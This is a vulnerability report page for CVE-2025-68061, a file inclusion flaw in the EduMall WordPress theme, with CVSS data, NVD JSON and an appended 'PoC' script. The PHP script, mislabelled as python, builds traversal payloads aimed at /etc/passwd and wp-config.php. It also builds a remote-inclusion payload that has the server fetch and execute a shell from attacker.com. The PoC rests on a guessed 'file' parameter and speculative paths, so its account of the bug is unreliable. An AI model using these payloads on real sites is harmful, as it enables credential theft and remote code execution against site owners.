Security Vulnerability Report
中文
CVE-2025-68061 CVSS 7.5 HIGH

CVE-2025-68061

Published: 2025-12-16 09:16:01
Last Modified: 2026-04-27 19:16:24

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove EduMall edumall allows PHP Local File Inclusion.This issue affects EduMall: from n/a through <= 4.4.7.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thememove:edumall:*:*:*:*:*:wordpress:*:* - VULNERABLE
EduMall <= 4.4.7 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-68061 PoC - EduMall Theme Local File Inclusion / Remote File Inclusion * Affected: EduMall Theme <= 4.4.7 * Type: PHP Remote File Inclusion * * Usage: php poc.php <target_url> <payload_type> * payload_type: 1 = LFI (Local File Inclusion) * 2 = RFI (Remote File Inclusion) */ $target = $argv[1] ?? ''; $payloadType = $argv[2] ?? '1'; if (empty($target)) { echo "Usage: php poc.php <target_url> <payload_type>\n"; echo "Example: php poc.php http://target.com 2\n"; exit(1); } // Common vulnerable parameters in EduMall theme $vulnerablePaths = [ '/wp-content/themes/edumall/inc/theme-functions.php', '/wp-content/themes/edumall/framework/includes/theme-functions.php', '/wp-content/themes/edumall/template-parts/header.php' ]; // LFI payload - read sensitive files $lfiPayloads = [ '../../../../../../etc/passwd', '../../../../../../wp-config.php', '../../../../../../../../etc/passwd' ]; // RFI payload - remote shell inclusion $rfiPayload = 'http://attacker.com/malicious.txt'; echo "[*] CVE-2025-68061 PoC - EduMall Theme File Inclusion\n"; echo "[*] Target: $target\n"; if ($payloadType == '1') { echo "[*] Payload Type: Local File Inclusion (LFI)\n"; foreach ($lfiPayloads as $payload) { $url = $target . '?file=' . urlencode($payload); echo "[+] Testing LFI: $url\n"; // In real attack, this would make HTTP request // $response = file_get_contents($url); } } else { echo "[*] Payload Type: Remote File Inclusion (RFI)\n"; $url = $target . '?file=' . urlencode($rfiPayload); echo "[+] Testing RFI: $url\n"; echo "[+] If vulnerable, server will fetch and execute: $rfiPayload\n"; } echo "\n[*] Manual verification:\n"; echo "1. Check if 'file' or similar parameter exists in theme files\n"; echo "2. Look for include/require statements without proper sanitization\n"; echo "3. Test with: ?file=http://attacker.com/shell.txt\n"; echo "4. Check response headers for 'php' execution indicators\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68061", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:16:01.477", "lastModified": "2026-04-27T19:16:24.283", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove EduMall edumall allows PHP Local File Inclusion.This issue affects EduMall: from n/a through <= 4.4.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thememove:edumall:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "4.4.7", "matchCriteriaId": "AD256D0B-9B40-4C4D-9C3D-E574C2950F24"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/edumall/vulnerability/wordpress-edumall-theme-4-4-7-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}